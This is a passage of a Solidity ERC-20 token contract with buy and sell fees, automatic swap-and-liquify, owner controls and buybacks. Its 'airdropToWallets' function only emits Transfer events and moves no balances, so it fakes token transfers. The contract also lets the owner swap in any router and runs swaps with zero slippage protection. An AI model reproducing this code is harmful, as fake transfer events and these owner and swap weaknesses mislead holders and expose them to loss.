    }
    
    // updates the operations wallet (marketing, charity, etc.)
    function updateOperationsWallet(address newAddress) external onlyOwner {
        require(newAddress != address(0), "Cannot set to address 0");
        isExcludedFromFee[newAddress] = true;
        isExcludedFromFee[operationsWallet] = false;
        emit OperationsWalletUpdated(newAddress, operationsWallet);
        operationsWallet = payable(newAddress);
    }    

    // transfer amount to address
    function transferToAddressETH(address payable recipient, uint256 amount) private {
        recipient.transfer(amount);
    }

    // change router address
    function changeRouterAddress(address newRouterAddress) public onlyOwner returns(address newPairAddress) {

        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(newRouterAddress); 
        newPairAddress = IUniswapV2Factory(_uniswapV2Router.factory()).getPair(address(this), _uniswapV2Router.WETH());

        // check if new pair deployed
        if(newPairAddress == address(0)) 
        {
            newPairAddress = IUniswapV2Factory(_uniswapV2Router.factory())
                .createPair(address(this), _uniswapV2Router.WETH());
        }

        uniswapPair = newPairAddress; 
        uniswapV2Router = _uniswapV2Router; 
        isWalletLimitExempt[address(uniswapPair)] = true;
        isMarketPair[address(uniswapPair)] = true;
    }

    // once enabled, can never be turned off
    function setTrading() public onlyOwner {
        tradingOpen = true;
    }
          
    // pre airdrop to any holders    
    function airdropToWallets(address[] memory airdropWallets, uint256[] memory amount) external onlyOwner() {
        require(airdropWallets.length == amount.length, "airdropToWallets:: Arrays must be the same length");
        for(uint256 i = 0; i < airdropWallets.length; i++){
            address wallet = airdropWallets[i];
            uint256 airdropAmount = amount[i];
            emit Transfer(msg.sender, wallet, airdropAmount);
        }
    }

    // @dev Views start here ------------------------------------

    // @dev User Callable Functions start here! ---------------------------------------------  

     function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }   

    function _transfer(address sender, address recipient, uint256 amount) private returns (bool) {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        // check trading open
        if (!tradingOpen) {
            require(sender == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
        }

        if(inSwapAndLiquify)
        { 
            return _basicTransfer(sender, recipient, amount); 
        }
        else
        {   
            // required for wallet distribution    
            if (sender != owner() && recipient != owner()){ 
                _checkTxLimit(sender,amount); 
            }

            // check can swap for fees and liq
            uint256 contractTokenBalance = balanceOf(address(this));
            bool overMinimumTokenBalance = contractTokenBalance >= minimumTokensBeforeSwap;
            if (overMinimumTokenBalance && !inSwapAndLiquify && !isMarketPair[sender]) 
            {
                swapAndLiquify(contractTokenBalance);    
            }

            // check senders balance
            _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
            uint256 finalAmount = (isExcludedFromFee[sender] || isExcludedFromFee[recipient]) ? 
                                         amount : takeFee(sender, recipient, amount);

            // check wallet holding limit
            if(checkWalletLimit && !isWalletLimitExempt[recipient])
                require(balanceOf(recipient).add(finalAmount) <= _walletMax);

            // continue    
            _balances[recipient] = _balances[recipient].add(finalAmount);
            emit Transfer(sender, recipient, finalAmount);
            return true;
        }
    }

    // transfer for     
    function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
        return true;
    }
    
    // take fee method
    function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) {
        uint256 feeAmount = 0;
        if(isMarketPair[sender]) {
            feeAmount = amount.mul(totalFeesBuy).div(100);
        }
        else if(isMarketPair[recipient]) {
            feeAmount = amount.mul(totalFeesSell).div(100);
        }
        if(feeAmount > 0) {
            _balances[address(this)] = _balances[address(this)].add(feeAmount);
            emit Transfer(sender, address(this), feeAmount);
        }
        return amount.sub(feeAmount);
    }

    // swap tokens for fees and liq
    function swapAndLiquify(uint256 swapAmount) private lockTheSwap {

        // check there are currently tokens to sell
        uint256 tokensForLP = swapAmount.mul(_liquiditySharePercentage).div(_totalDistributionShares).div(2);
        uint256 tokensForSwap = swapAmount.sub(tokensForLP);   

        // swap tokens
        swapTokensForEth(tokensForSwap);

        // received amount
        uint256 amountReceived = address(this).balance;
        
        // work out distribution
        uint256 totalFee = _totalDistributionShares.sub(_liquiditySharePercentage.div(2));
        uint256 amountLiquidity = amountReceived.mul(_liquiditySharePercentage).div(totalFee).div(2);                
        uint256 amountOperations = amountReceived.sub(amountLiquidity);

        if(amountOperations > 0)
            transferToAddressETH(operationsWallet, amountOperations);

        if(amountLiquidity > 0 && tokensForLP > 0){
            addLiquidity(tokensForLP, amountLiquidity);
            emit SwapAndLiquify(tokensForSwap, amountLiquidity, tokensForLP);
        }
    }

    // swap tokens to eth
    function swapTokensForEth(uint256 tokenAmount) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, 
            path,
            address(this), 
            block.timestamp
        );
        emit SwapTokensForETH(tokenAmount, path);
    }

    // add liqiudity 
    function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.addLiquidityETH{value: ethAmount}(
            address(this),
            tokenAmount,
            0, 
            0, 
            owner(),
            block.timestamp
        );
    }
    
    // useful for buybacks or to reclaim any ETH on the contract in a way that helps holders.
    function buyBackTokens(uint256 ETHAmountInWei) external onlyOwner {
        // generate the uniswap pair path of weth -> eth
        address[] memory path = new address[](2);
        path[0] = uniswapV2Router.WETH();
        path[1] = address(this);

        // make the swap
        uniswapV2Router.swapExactETHForTokensSupportingFeeOnTransferTokens{value: ETHAmountInWei}(
            0, // accept any amount of Ethereum
            path,
            address(0xdead),
            block.timestamp
        );
    }

    function _checkTxLimit(address sender, uint256 amount) private view{ 
        require(amount <= _maxTxAmount || isTxLimitExempt[sender], "TX Limit Exceeded");
    }
}